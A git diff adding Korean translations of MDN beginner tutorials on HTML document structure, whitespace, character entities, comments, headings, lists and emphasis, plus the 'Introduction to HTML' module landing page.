+ +

HTML 문서의 구조

+ +

That wraps up the basics of individual HTML elements, but they aren't very useful on their own. 이제 어떻게 개별 요소를 결합해 전체 HTML 페이지를 구성하는지에 대해 살펴봅시다.

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <title>My test page</title>
+  </head>
+  <body>
+    <p>This is my page</p>
+  </body>
+</html>
+ +

여기를 보면,

+ +
    +
  1. <!DOCTYPE html>: 문서 형식을 나타냅니다.  HTML 초창기에 (1991~2년) doctype은 HTML 페이지가 자동 오류 검사나 다른 유용한 것이 가능한 좋은 HTML을 의미하는 연결고리처럼 작동하는 것을 뜻했습니다. 이런 형식으로 사용했습니다. + +
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    +"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    + 하지만 요즘에는 아무도 신경쓰지 않으며, 그저 모든 것이 제대로 작동하기 위해 포함되어야 하는 역사적 유물일 뿐입니다. <!DOCTYPE html> 은 유효한 문서 형식을 나타내는 짧은 문장이고, 이 것만 알고 있으면 됩니다.
  2. +
  3. <html></html>: {{htmlelement("html")}} 요소입니다. 이 요소는 전체 페이지의 콘텐츠를 포함하며, 기본 요소로도 알려져 있습니다.
  4. +
  5. <head></head>: <head> 요소입니다. 이 요소는 홈페이지 이용자에게는 보이지 않지만 검색 결과에 노출 될 키워드, 홈페이지 설명, CSS 스타일, character setdeclaration 등 HTML 페이지의 모든 내용을 담고 있습니다. 자세한 내용은 다음 장에서 다룹니다.
  6. +
  7. <meta charset="utf-8">: 이 요소는 HTML 문서의 문자 인코딩 설정을 UTF-8로 지정하는 것이며 예시에서 지정한 UTF-8에는 전세계에서 사용되는 언어에 대한 대부분의 문자가 포함됩니다. 이 설정을 사용하면 페이지에 포함 된 모든 텍스트 내용을 처리 할 수 있습니다. 이것을 설정하면 나중에 문자 인코딩과 관련된 일부 문제를 피하는 데 도움이 될 수 있으므로 문자 인코딩 설정을 하지 않을 이유가 없습니다.
  8. +
  9. <title></title>: {{htmlelement ( "title")}} 요소입니다. 이 요소를 사용하면 페이지 제목이 설정되며 페이지가 로드되는 브라우저 탭에 표시되는 제목으로 사용됩니다. 페이지 제목은 페이지가 책갈피 될 때 페이지를 설명하는 데에도 사용됩니다.
  10. +
  11. <body></body>: {{htmlelement ( "body")}} 요소 여기에는 텍스트, 이미지, 비디오, 게임, 재생 가능한 오디오 트랙 등을 비롯하여 페이지에 표시되는 모든 콘텐츠가 포함됩니다.
  12. +
+ +

실습: HTML 문서에 일부 기능 추가하기

+ +

로컬 컴퓨터에서 일부 HTML을 작성하여 실험하고 싶다면 다음을 수행하십시오. 

+ +
    +
  1. 위에 나열된 HTML 페이지 예제를 복사하십시오.
  2. +
  3. 텍스트 편집기에서 새 파일을 작성하십시오.
  4. +
  5. 코드를 새 텍스트 파일에 붙여 넣습니다.
  6. +
  7. 파일을 index.html로 저장하십시오.
  8. +
+ +
+

참고: 기본 HTML 템플릿은 MDN Learning Area Github repo 에서도 찾을 수 있습니다.

+
+ +

이제 웹 브라우저에서 이 파일을 열어 렌더링 된 코드의 모양을 확인할 수 있습니다. 코드를 편집하고 브라우저를 새로 고침하여 결과를 확인하십시오. 첫 페이지는 다음과 같습니다.

+ +

A simple HTML page that says This is my page이 연습에서는 앞에서 설명한대로 컴퓨터에서 로컬로 코드를 편집하거나 아래 샘플 창에서 편집 할 수 있습니다 (편집 가능한 샘플 창은 {{htmlelement ( "body")}} 요소의 내용만 나타냄 이 경우). 다음 작업을 구현하여 기술을 익히십시오.

+ + + +

만약 실수한 경우 언제든지 Reset 버튼을 사용하여 초기화 할 수 있습니다. 문제가 발생하면 Show solution 단추를 눌러 답변을 확인하십시오.

+ + + +

{{ EmbedLiveSample('Playable_code3', 700, 600, "", "", "hide-codepen-jsfiddle") }}

+ +

HTML 공백

+ +

위의 예에서 많은 공백이 코드에 포함되어 있음을 알 수 있습니다. 이것은 선택 사항입니다. 이 두 코드 스니펫은 동일합니다.

+ +
<p>Dogs are silly.</p>
+
+<p>Dogs        are
+         silly.</p>
+ +

HTML 요소 내용 내에서 얼마나 많은 공백을 사용하든 (하나 이상의 공백 문자를 포함 하거나 줄 바꿈 포함) HTML 파서는 코드를 렌더링 할 때 각 공백 시퀀스를 단일 공백으로 줄입니다. 왜 그렇게 많은 공백을 사용합니까? 답은 가독성입니다.

+ +

코드의 보기 좋게 정리되어 있다면 코드에서 무슨 일이 일어나고 있는지 이해하는 것이 더 쉬울 수 있습니다. HTML에는 중첩 된 각 요소가 내부에있는 것보다 두 칸 더 들여 쓰기되어 있습니다. 서식 스타일 (예 : 각 들여 쓰기 수준에 대한 공백 수)을 선택하는 것은 사용자의 몫이지만 서식을 고려해야합니다.

+ +

Entity references: HTML에 특수 문자 포함

+ +

HTML에서 문자 <,>, "&는 특수 문자입니다. 이들은 HTML 구문 자체의 일부입니다. 그럼 어떻게 이러한 특수 문자 중 하나를 내가 사용하고 싶은 텍스트에 포함할까요? 예를 들어, 앰퍼샌드 또는 이하 기호를 텍스트에 사용하고 HTML 코드로 해석되지 않게 하려는 경우와 같이 말입니다.

+ +

표를 참고하여 실습해보세요. 오른쪽의 특별한 코드는 특수 문자를 표현할 때 사용되는 문자 참조 코드입니다. 각 문자 참조는 앰퍼샌드 (&)로 시작하고 세미콜론 (;)으로 끝납니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Literal characterCharacter reference equivalent
<&lt;
>&gt;
"&quot;
'&apos;
&&amp;
+ +

문자 참조에 해당하는 문자는 '&lt;'보다 작거나 '&quot;'에 대한 인용 및 기타 문자 참조와 유사하게 볼 수 있기 때문에 쉽게 기억할 수 있습니다. 엔터티 참조에 대한 자세한 내용은 List of XML and HTML character entity references (Wikipedia)을 참조하십시오.

+ +

아래 예시는 두 개의 단락이 있습니다.

+ +
<p>In HTML, you define a paragraph using the <p> element.</p>
+
+<p>In HTML, you define a paragraph using the &lt;p&gt; element.</p>
+ +

아래의 라이브 출력에서 첫 번째 단락이 잘못되었음을 알 수 있습니다. 브라우저는 <p>의 두 번째 인스턴스를 새 단락을 시작하는 것으로 해석합니다. 두 번째 단락에는 문자 참조가있는 꺾쇠 괄호가 있으므로 잘 보입니다.

+ +

{{ EmbedLiveSample('Entity_references_Including_special_characters_in_HTML', 700, 200, "", "", "hide-codepen-jsfiddle") }}

+ +
+

참고: HTML의 문자 인코딩이 UTF-8로 설정되어 있기 때문에 최신 브라우저는 실제 기호를 잘 처리하므로 다른 기호에 대해서는 엔티티 참조를 사용할 필요가 없습니다.

+
+ +

HTML 주석

+ +

HTML에는 코드에 주석을 작성하는 메커니즘이 있습니다. 브라우저는 주석을 무시하여 사용자가 주석을 보이지 않게합니다. 주석의 목적은 코드에 메모를 포함시켜 논리 또는 코딩을 설명 할 수 있도록하는 것입니다. 이것은 코드를 완전히 기억하지 못할 정도로 오랫동안 멀어진 후 코드베이스로 돌아 오는 경우에 매우 유용합니다. 마찬가지로, 다른 사람들이 변경하고 업데이트함에 따라 의견이 매우 중요합니다.

+ +

HTML 주석을 쓰려면 특수 마커 <!- 및 ->로 주석을 묶습니다. 예를 들면 다음과 같습니다.

+ +
<p>I'm not inside a comment</p>
+
+<!-- <p>I am!</p> -->
+ +

아래에서 볼 수 있듯이 첫 번째 단락만 라이브 출력에 표시됩니다.

+ +

{{ EmbedLiveSample('HTML_comments', 700, 100, "", "", "hide-codepen-jsfiddle") }}

+ +

Summary

+ +

HTML 기본 사항을 둘러 보셨기를 바랍니다.

+ +

이 글을 읽고나면 HTML의 모양과 기본 수준에서 작동하는 방식을 이해해야합니다. 또한 몇 가지 요소와 속성을 작성할 수 있어야합니다. 이 모듈의 후속 기사에서는 여기에 소개 된 주제 중 일부에 대해 더 설명하고 언어의 다른 개념을 제시합니다.

+ +
+

참고: HTML에 대해 더 배우기 시작하면 CSS (Cascading Style Sheets)의 기본 사항을 배우십시오. CSS는 웹 페이지의 스타일을 지정하는데 사용되는 언어입니다. (예 : 글꼴 또는 색상 변경 또는 페이지 레이아웃 변경) HTML과 CSS는 곧 발견 될 것입니다.

+
+ +
{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}
diff --git a/files/ko/learn/html/introduction_to_html/html_text_fundamentals/index.html b/files/ko/learn/html/introduction_to_html/html_text_fundamentals/index.html new file mode 100644 index 0000000000..9121a02696 --- /dev/null +++ b/files/ko/learn/html/introduction_to_html/html_text_fundamentals/index.html @@ -0,0 +1,654 @@ +--- +title: HTML text fundamentals +slug: Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals +translation_of: Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}}
+ +

HTML의 주요 작업 중 하나는 브라우저가 텍스트를 올바르게 표시 할 수 있도록 텍스트 구조와 의미 (시멘틱({{glossary ( "semantics")}})라고도 함)를 제공하는 것입니다.
+ 이번 글에서는 {{glossary ( "HTML")}}을 사용하여 제목 및 단락을 추가하고, 단어를 강조하고, 목록을 만드는 등의 방법으로 텍스트 페이지를 구성하는 방법을 설명합니다.

+ + + + + + + + + + + + +
선행 학습:HTML 시작하기에서 다뤄봤던 HTML의 기초에 익숙해지기.
목표:문단, 제목, 목록, 강조 및 인용구를 포함한 구조와 의미를 부여하기 위해 텍스트의 기본 페이지를 표시하는 방법에 대해 배웁니다.
+ +

기본적인 것: 제목과 단락

+ +

대부분의 구조화 된 텍스트는 기사, 신문, 대학 교과서, 잡지 등 무엇을 읽든지 간에 제목과 단락으로 구성됩니다.

+ +

An example of a newspaper front cover, showing use of a top level heading, subheadings and paragraphs.

+ +

구조화된 컨텐츠는 읽는 경험을 더 쉽고 즐겁게 만들어줍니다.

+ +

HTML에서는 각 단락은 {{htmlelement("p")}} 요소 안에 둘러싸여 있어야 합니다. 다음에 나오는 것 처럼 :

+ +
<p>I am a paragraph, oh yes I am.</p>
+ +

각 제목도 heading 요소 안에 둘려싸여 있어야 합니다 :

+ +
<h1>I am the title of the story.</h1>
+ +

heading 요소는 총 6개가 있습니다— {{htmlelement("h1")}}, {{htmlelement("h2")}}, {{htmlelement("h3")}}, {{htmlelement("h4")}}, {{htmlelement("h5")}}, and {{htmlelement("h6")}}. 각 요소는 문서에서 다른 수준의 내용을 나타냅니다 ; 메인 제목을 <h1> 으로 나타내고, 소제목을  <h2> 으로 나타내고, 소제목의 소제목을 <h3>으로 나타내고 이런 식으로 제목들을 나타냅니다 .

+ +

구조화된 계층을 구현하기

+ +

예를 들어, 한 이야기에서 <h1>은 이야기의 제목을 나타내고 <h2>는 각 장의 제목을 나타내고 <h3>는 각 장의 하위 절을 나타내고 이런 식으로 나타냅니다.

+ +
<h1>The Crushing Bore</h1>
+
+<p>By Chris Mills</p>
+
+<h2>Chapter 1: The dark night</h2>
+
+<p>It was a dark night. Somewhere, an owl hooted. The rain lashed down on the ...</p>
+
+<h2>Chapter 2: The eternal silence</h2>
+
+<p>Our protagonist could not so much as a whisper out of the shadowy figure ...</p>
+
+<h3>The specter speaks</h3>
+
+<p>Several more hours had passed, when all of a sudden the specter sat bolt upright and exclaimed, "Please have mercy on my soul!"</p>
+ +

구조화된 계층이 타당해 보이는 한 연관된 요소들이 정확히 무엇을 나타내는지는 당신에게 달려있습니다. 다만 그러한 구조들을 만들 때 다음 몇 가지의 관례만 기억하면 됩니다:

+ + + +

왜 우리는 구조가 필요할까요?

+ +

이 질문에 대답하기 위해, text-start.html  — 이 글에서 작동 원리를 보여주는 예시 첫 부분 (맛있는 hummus 레시피)- 을 봅시다. 이후 실습에서 필요하기 때문에 당신의 로컬 저장소에 이 파일의 복사본을 저장해야 합니다. 이 문서의 body는 다양한 컨텐츠 조각들을 가지고 있습니다. 이것들이 Marked up 된 것은 아니지만 줄바꿈으로 구분되어 있습니다. (다음 줄로 가기 위해 Enter/Return이 눌림)

+ +

하지만, 당신이 브라우저에서 문서를 열어보았을 때 당신은 텍스트가 한 덩어리로 뭉쳐있는 것을 볼 것입니다!

+ +

A webpage that shows a wall of unformatted text, because there are no elements on the page to structure it.

+ +

이는 컨텐츠에 구조를 입히는 요소가 없기 때문인데, 그래서 브라우저는 무엇이 heading이고 무엇이 문단인지 알 수 없는 것입니다. 추가로:

+ + + +

그러므로 우리는 컨텐츠를 구조적인 markup에 적용시켜야 합니다.

+ +

활동적인 학습: 컨텐츠에 구조 입히기

+ +

실제 예시에 바로 적용해 봅시다. 아래 예시에서, Input 부분에 있는 raw text에 요소를 더해서 Output 부분에 heading과 두 문단으로 나오도록 해 봅시다. 

+ +

실수를 하면 언제든 Reset 버튼을 눌러 리셋할 수 있습니다. 진행 중 막히면, Show solution 버튼을 눌러 답을 볼 수 있습니다.

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 500) }}

+ +

우리는 왜 Semantic을 필요로 할까?

+ +

Semantic(직역 : 의미를 담은, 의미론적인)은 우리 주변 어디에서나 사용됩니다. 우리는 과거의 경험으로부터 일상적인 대상의 기능이 무엇인지 구분합니다. 우리가 어떤 것을 보면 그것의 기능은 무엇일지 알 수 있습니다. 그래서, 예를 들어, 우리가 빨간 신호등을 '멈춤'으로, 초록 신호등을 '출발'로 인식합니다. 잘못된 semantic들이 적용될 경우 상황은 복잡해집니다. (빨간색을 '출발'로 사용하는 나라가 있을까요? 없기를 바랍니다.)

+ +

비슷한 맥락에서, 우리는 정확한 요소를 사용하고 있는지, 우리의 컨텐츠에 정확한 의미, 기능, 모습을 담았는지 확실히 해야 합니다. 이 맥락에서 {{htmlelement("h1")}} 요소 또한 텍스트에 "내 페이지 최상위 heading"의 역할로 감싸는 semantic 요소입니다.

+ +
<h1>This is a top level heading</h1>
+
+ +

기본적으로, 브라우저는 이에 큰 사이즈의 폰트를 적용해 heading처럼 보이게 할 것입니다. (비록 당신이 CSS를 사용해 원하는 어떤 모습으로도 스타일 할 수 있지만 말입니다.) 더 중요하게, 이것의 의미론적인 가치는 다양한 방식으로 사용될 것입니다. 예를 들어 검색 엔진이나 screen reader들에서 말이죠. (위에서 서술한 것처럼.)

+ +

반면에, 당신은 어떤 요소도 최상위 heading처럼 보이게 할 수 있습니다. 다음을 고려해 봅시다:

+ +
<span style="font-size: 32px; margin: 21px 0;">Is this a top level heading?</span>
+ +

이것은 {{htmlelement("span")}} 요소입니다. 의미가 없죠. 당신은 컨텐츠에 추가적인 의미를 더하지 않고 CSS 를 적용하고 싶을 때 (혹은 JavaScript를 적용해 무언가를 하고 싶을 때) 이것을 사용합니다. (이것들에 대해서는 코스 뒤에서 더 알게 될겁니다.) 우리는 이것에 CSS를 더해 최상위 heading처럼 보이게 했지만, 이것이 semantic(의미론적인) 가치는 없기 때문에, 위에서 서술된 추가적인 이득들은 얻지 못할 것입니다. 작업에 관계있는 HTML 요소를 사용하는 것이 좋은 생각입니다.

+ +

Lists

+ +

이제 List에 집중해 봅시다. List는 삶의 모든 부분에 있습니다 - 쇼핑 리스트에서 당신이 매일 집에 오기 위해 무의식적으로 따르는 지시들의 리스트까지, 이 튜토리얼에서 당신이 따르는 지시들의 리스트까지! 웹에서도 List는 어디에나 있습니다. 그리고 우리는 고려해야 할 3개의 종류를 가지고 있습니다.

+ +

Unordered (순서 없음)

+ +

정렬되지 않은 목록은 항목의 순서가 중요하지 않은 항목 목록을 표시하는 데 사용됩니다

+ +

-  쇼핑 리스트 항목으로 예를 들어보자

+ +
milk
+eggs
+bread
+hummus
+ +

순서 없는 리스트를 정렬하기 위해 {{htmlelement("ul")}} element 를 이용해 감싸줍니다.

+ +

모든 리스트 아이템:

+ +
<ul>
+milk
+eggs
+bread
+hummus
+</ul>
+ +

마지막으로 그안의 리스트 항목들을  {{htmlelement("li")}} (list item) 태그로 감싸줍니다.

+ +
<ul>
+  <li>milk</li>
+  <li>eggs</li>
+  <li>bread</li>
+  <li>hummus</li>
+</ul>
+ +

활동적인 학습 : 순서 없는 리스트 만들기

+ +

HTML 순서 없는(unordered) 리스트를 만들기 위해 아래에 있는 샘플을 편집해보자.

+ + + +

{{ EmbedLiveSample('Playable_code_2', 700, 400) }}

+ +

Ordered (순서 있음)

+ +

순서 있는 리스트는 항목의 순서가 중요한 목록 입니다. 순서를 꼭 정해주세요

+ +

예제:

+ +
Drive to the end of the road
+Turn right
+Go straight across the first two roundabouts
+Turn left at the third roundabout
+The school is on your right, 300 meters up the road
+ +

{{htmlelement("ul")}}태그가 아닌 {{htmlelement("ol")}} 태그로 감싸는것을 제외하고는 마크업 구조는 순서가 없는 리스트와 동일하다.

+ +
<ol>
+  <li>Drive to the end of the road</li>
+  <li>Turn right</li>
+  <li>Go straight across the first two roundabouts</li>
+  <li>Turn left at the third roundabout</li>
+  <li>The school is on your right, 300 meters up the road</li>
+</ol>
+ +

활동적인 학습: 순서가 있는 리스트를 만들어보자

+ +

HTML 순서가 있는(ordered) 리스트를 만들기 위해 아래에 있는 샘플을 편집해보자.

+ + + +

{{ EmbedLiveSample('Playable_code_3', 700, 500) }}

+ +

활동적인 학습: 우리의 레시피 페이지를 만들어보자

+ +

이제 우리는 레시피 페이지 예시를 만드는 데 필요한 모든 정보를 가지고 있습니다. text-start.html 시작 파일을 저장해 그곳에서 작업을 하셔도 좋고, 아래에 있는 편집 가능한 샘플에서 작업을 할 수도 있습니다. 따로 파일을 생성해서 작업을 하면 언제든지 편집이 가능합니다. 아래 샘플에서 작업을 하면 다음에 이 페이지를 열 때 작업 기록이 사라져 있을 것입니다. 이 두가지 방법은 장점과 단점 모두를 지니고 있습니다.

+ + + +

{{ EmbedLiveSample('Playable_code_4', 700, 500) }}

+ +

위의 문제를 해결하는데 어려움을 겪고있다면, Show solution 버튼을 클릭하여 해답을 확인하거나, GitHub 레포지토리에 존재하는 text-complete.html 파일을 확인해 주시길 바랍니다.

+ +

리스트 내부의 리스트(Nesting lists)

+ +

하나의 리스트 내부에 다른 리스트를 추가하는 것은 아무런 문제가 없습니다. 당신이 최상위 리스트 아이템의 내부에 다른 리스트를 추가하고 싶다면, 하단의 예제들 중 두번째 예제를 확인해주세요.

+ +
<ol>
+  <li>Remove the skin from the garlic, and chop coarsely.</li>
+  <li>Remove all the seeds and stalk from the pepper, and chop coarsely.</li>
+  <li>Add all the ingredients into a food processor.</li>
+  <li>Process all the ingredients into a paste.</li>
+  <li>If you want a coarse "chunky" hummus, process it for a short time.</li>
+  <li>If you want a smooth hummus, process it for a longer time.</li>
+</ol>
+ +

마지막 두개의 리스트 아이템은 Process all the ingredients into a paste.와 밀접한 관계가 있는 내용입니다. 그러므로 두개의 리스트 아이템은 Process all the ingredients into a paste.의 내부에 중첩되어 나타나는 것이 더 좋을 것입니다. 하단과 같은 방법을 사용해서 말이죠.

+ +
<ol>
+  <li>Remove the skin from the garlic, and chop coarsely.</li>
+  <li>Remove all the seeds and stalk from the pepper, and chop coarsely.</li>
+  <li>Add all the ingredients into a food processor.</li>
+  <li>Process all the ingredients into a paste.
+    <ul>
+      <li>If you want a coarse "chunky" hummus, process it for a short time.</li>
+      <li>If you want a smooth hummus, process it for a longer time.</li>
+    </ul>
+  </li>
+</ol>
+ +

첫번째의 예제로 돌아가, 두번째의 예제처럼 변경하는 연습을 해보시길 바랍니다.

+ +

중요와 강조

+ +

우리는 문장의 의미를 바꾸거나 특정한 단어를 강조하기위해 종종 일반적인 방법과 다르게 표현하기도 합니다. HTML은 그런 경우를 표시할 수 있도록 다양한 의미 요소를 제공하며, 이 섹션에서는 가장 일반적인 몇 가지 요소를 살펴보기로 합니다.

+ +

중요(Emphasis)

+ +

우리는 말을 하면서 특정 단어를 강세를 두고 발음하는 방법으로 의미를 다르게 표현합니다. 마찬가지로, 글에서는 단어에 강세를 두기 위해 이탤릭체로 표현하는 경향이 있습니다. 예를 들어, 다음 두 문장은 다른 의미를 가집니다. 

+ +

I am glad you weren't late.

+ +

I am glad you weren't late.

+ +

첫 문장은 상대가 늦지 않은 것에 대해 진심으로 안도하는 것처럼 들립니다. 이와는 대조적으로, 두 번째 문장은 상대가 조금 늦게 도착한 것에대해 비꼬거나 짜증을 표현하는 것처럼 들립니다.

+ +

HTML에서는 이러한 경우를 표시하기 위해 {{htmlelement("em")}} (emphasis) 요소를 사용합니다. 문서를 더 흥미롭게 읽게 될 뿐만 아니라, 화면판독기에 인식되면 다른 톤의 목소리로 표현됩니다. 브라우저에서는 기본적으로 이탤릭체로 스타일을 지정하지만, 단지 이탤릭체로 스타일링하기 위해 이 태그를 사용하는 것은 지양합니다. 스타일링을 위해서는{{htmlelement("span")}} 요소에 약간의 CSS를 더하거나 {{htmlelement("i")}}요소를 사용할 수 있습니다.(아래 참조).

+ +
<p>I am <em>glad</em> you weren't <em>late</em>.</p>
+ +

강조(Strong importance)

+ +

우리는 중요한 단어를 강조하기 위해 강세를 두고 말하거나 글자를 두껍게 표현합니다. 예를들면,

+ +

This liquid is highly toxic.

+ +

I am counting on you. Do not be late!

+ +

HTML에서는 이러한 경우를 표시하기 위해 {{htmlelement("strong")}} (strong importance)요소를 사용합니다. 문서를 더 유용하게 만드는 것뿐만 아니라, 화면판독기에 인식되면 다른 톤의 목소리로 표현됩니다. 브라우저에서는 기본적으로 굵은 텍스트로 스타일을 지정하지만, 단지 굵게 스타일링하기 위해 이 태그를 사용하는 것은 지양합니다. 스타일링을 위해서는 {{htmlelement("span")}} 요소에 약간의 CSS를 더하거나 {{htmlelement("b")}} 요소를 사용할 수 있습니다.(아래 참조).

+ +
<p>This liquid is <strong>highly toxic</strong>.</p>
+
+<p>I am counting on you. <strong>Do not</strong> be late!</p>
+ +

원한다면 각각의 태그가 서로의 안에 위치할 수 있습니다.

+ +
<p>This liquid is <strong>highly toxic</strong> —
+if you drink it, <strong>you may <em>die</em></strong>.</p>
+ +

Active learning: Let's be important!

+ +

이 Active Learning 섹션에서는 편집 가능한 예시를 제공하였습니다. 이 안에서 여러분이 필요하다고 생각되는 단어에 강조와 중요성을 더해보며 연습할 수 있기를 바랍니다.

+ + + +

{{ EmbedLiveSample('Playable_code_5', 700, 500) }}

+ +

Italic, bold, underline...

+ +

우리가 지금까지 얘기했던 요소들은 관련된 의미들을 명확히 구분했습니다. {{htmlelement("b")}}, {{htmlelement("i")}}, {{htmlelement("u")}}의 상황들은 좀 복잡하죠. 이 요소들은 CSS가 형편없이 지원되거나 완전히 지원되지 않는 경우에 이탤릭체 또는 밑줄 등을 표현할 수 있도록 고안되었습니다. 의미론적이 아닌 표현에만 영향을 주는 이와 같은 요소들은 현재적 요소로 알려져 있으며, 더 이상 사용되어서는 안됩니다. 앞에서 살펴본 바와 같이 의미론은 접근성, SEO 등에 매우 중요하기 때문이죠.

+ +

HTML5 에서는 <b>, <i>, <u> 를 조금 혼란스럽긴 하지만 새로운 의미론적 역할로 재정립하였습니다.

+ +

가장 좋은 경험법칙: 적합한 요소가 더 없다면, 과거로부터 줄곧 굵거나 이탤릭체를 쓰거나 밑줄을 치는 방법으로 표현했던 의미를 전달하기 위해 <b>, <i><u> 를 사용하는 것이 적절할 것 같다. 그러나 늘 접근성에 관해 염두하는 것은 항상 중요하다. 이탤릭체의 개념은 스크린리더를 사용하는 사람이나 라틴 문자체계 이외의 사용자에게는 별로 도움이 되지 않는다.

+ + + +
+

밑줄에 대한 위험성 중 하나: 사람들은 밑줄을 하이퍼링크와 강하게 연관시킨다. 따라서 웹에서는 링크에만 밑줄을 긋는 것이 가장 좋다. 의미론적으로 적합한 경우 <u> 요소를 사용하되, CSS를 사용하여 기본 밑줄을 웹에서 더 적합하게 변경할 수 있는지 고려한다. 그것이 어떻게 이루어질 수 있는지는 아래의 예에서 확인할 수 있다.

+
+ +
<!-- scientific names -->
+<p>
+  The Ruby-throated Hummingbird (<i>Archilochus colubris</i>)
+  is the most common hummingbird in Eastern North America.
+</p>
+
+<!-- foreign words -->
+<p>
+  The menu was a sea of exotic words like <i lang="uk-latn">vatrushka</i>,
+  <i lang="id">nasi goreng</i> and <i lang="fr">soupe à l'oignon</i>.
+</p>
+
+<!-- a known misspelling -->
+<p>
+  Someday I'll learn how to <u>spel</u> better.
+</p>
+
+<!-- Highlight keywords in a set of instructions -->
+<ol>
+  <li>
+    <b>Slice</b> two pieces of bread off the loaf.
+  </li>
+  <li>
+    <b>Insert</b> a tomato slice and a leaf of
+    lettuce between the slices of bread.
+  </li>
+</ol>
+ +

요약

+ +

일단 이게 다에요! 이 글을 통해 여러분은 HTML에서 텍스트를 표현하기 시작하는 방법에 대해 좋은 아이디어를 얻었고, 이 영역에서 가장 중요한 몇가지 요소들을 알게되었습니다. 이 코스에에서 다룰 의미론적 요소는 훨씬 더 많으며 Advanced text formatting 를 통해 더 많이 살펴볼 수 있습니다. 다음 글에서는 웹에서 가장 중요한 요소인 하이퍼링크를 만드는 방법에 대해 자세히 알아보도록 합시다.

+ +

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}}

+ +

In this module

+ + diff --git a/files/ko/learn/html/introduction_to_html/index.html b/files/ko/learn/html/introduction_to_html/index.html new file mode 100644 index 0000000000..7566119e6e --- /dev/null +++ b/files/ko/learn/html/introduction_to_html/index.html @@ -0,0 +1,59 @@ +--- +title: HTML 소개 +slug: Learn/HTML/Introduction_to_HTML +tags: + - CodingScripting + - HTML + - Landing +translation_of: Learn/HTML/Introduction_to_HTML +--- +
{{LearnSidebar}}
+ +

{{glossary("HTML")}}은 문서의 특정 텍스트 영역이 문단인지 목록인지 표의 일부인지 구분 할 수 있도록 의미를 부여하고, 헤더인지, 콘텐츠 컬럼인지, 네비게이션 메뉴인지 알수 있도록 논리적인 영역으로 구조화 하고, 이미지와 비디오 같은 콘텐츠를 삽입할 수 있게 해주는 요소들로 구성된 지극히 간단한 언어입니다. 이번 과정은 이 두 가지 주제에 대한 소개와 HTML을 이해하기 위해 알아야 하는 기본 개념과 문법을 설명합니다.

+ +

전제 조건

+ +

이번 과정을 시작하기 전에, HTML에 대한 사전 지식은 필요하지 않습니다만, 기본적으로 컴퓨터 사용에 친숙해야 하고, 웹사이트의 콘텐츠를 탐색하는 정도의 웹을 사용할 줄 알아야 합니다. 기본 소프트웨어 설치에 있는 기본적인 작업 환경이 구축되어 있어야 하고, 파일 다루기에 있는 파일을 생성하고 관리하는 방법을 이해하고 있어야 합니다. 이 두가지 내용은 웹 시작하기를 위한 초급 과정입니다.

+ +
+

노트: 혹시, 파일을 생성하기 힘든 컴퓨터/테블릿 혹은 다른 기기에서 작업한다면, JSBin 이나 Thimble 같은 온라인 코딩 프로그램을 이용하여 대부분의 코드 예제를 작성해 볼 수 있습니다.

+
+ +

안내서

+ +

이 과정은 HTML의 모든 기초 이론을 학습하고, 몇몇 기법을 실습해 볼 수 있는 충분한 기회를 제공합니다. 아래와 같은 내용을 담고 있습니다.

+ +
+
HTML 시작하기
+
HTML을 시작하기 위한 초급 내용을 다룹니다. 요소, 속성을 정의하고, 한번쯤은 들어봤을지도 모르는 중요한 용어들을 알아보고 어디에 사용되는지 살펴봅니다. 또, HTML 요소를 구조화 하는 방법, 일반적인 HTML 페이지가 어떻게 구조화되는지를 알아보고, 언어의 중요한 기본 특징에 대해 설명합니다. 그러면서, 여러분들이 흥미를 가질 수 있도록 HTML 코드를 직접 작성해 보도록 하겠습니다.
+
head 안에는 무엇이 있나? HTML 메타 데이터
+
HTML 문서의 헤드는 페이지가 로딩될 때 웹 브라우저에는 보이지 않는 부분입니다. 페이지의 {{htmlelement("title")}}, (HTML 콘텐츠에 스타일을 적용하고 싶다면) {{glossary("CSS")}} 링크, 파비콘 링크, 그리고 메타데이터(문서의 작성자, 문서를 설명하기 위한 중요한 키워드와 같은 HTML에 대한 정보)와 같은 정보를 담고 있습니다.
+
HTML 텍스트 기본
+
HTML을 사용하는 주요 목적 중의 하나는 텍스트에 의미를 부여(시맨틱)하는 것인데, 그렇게 하면 브라우저는 화면에 어떻게 노출되어야 하는지 명확하게 알 수 있습니다. 이 글에서는 HTML을 이용하여 글의 제목과 문단의 구조에서 텍스트를 분리해 보고, 단어에 강조/중요도를 부여해보고, 리스트 만드는 법 등을 살펴 보겠습니다.
+
하이퍼링크 만들기
+
하이퍼링크는 웹을 웹(web, 거미줄, 연결을 의미)으로 만들어주는 것이기 때문에 굉장히 중요합니다. 이 글에서는 링크를 만드는데 필요한 문법을 설명하고, 링크의 사례들을 논의해 봅니다.
+
텍스트 조작 고급기법
+
HTML에는 텍스트를 조작하기 위한 많은 요소들이 있습니다. 글에는 다 담을 수는 없습니다. 이 글에서는 잘 알려지진 않았지만 알아두면 굉장히 유용한 요소들을 살펴보겠습니다. 인용구, 설명 목록, 소스 코드 혹은 관련 텍스트, 위첨자, 아래첨자, 연락 정보 등을 마크업 하는 방법을 알아보겠습니다.
+
문서와 웹사이트 구조
+
‘문단’이나 ‘이미지’와 같은 페이지의 부분을 정의하는 것처럼, HTML은 ‘헤더’, ‘네비게이션 메뉴’, ‘주요 내용 컬럼’과 같은 웹사이트의 영역을 정의하는데도 사용됩니다. 이 글에서는 기본 웹사이트 구조를 설계하는 법을 살펴보고, 이 구조를 표현하기 위해 HTML로 직접 작성해 보겠습니다.
+
HTML 디버깅
+
HTML 작성은 잘 되었는데, 무언가 잘못되었고, 작업을 할 수 없다면 코드에서 에러가 발생하는 부분은 어디일까요? 이 글은 이런 상황에 도움을 줄 수 있는 도구들을 소개합니다.
+
+ +

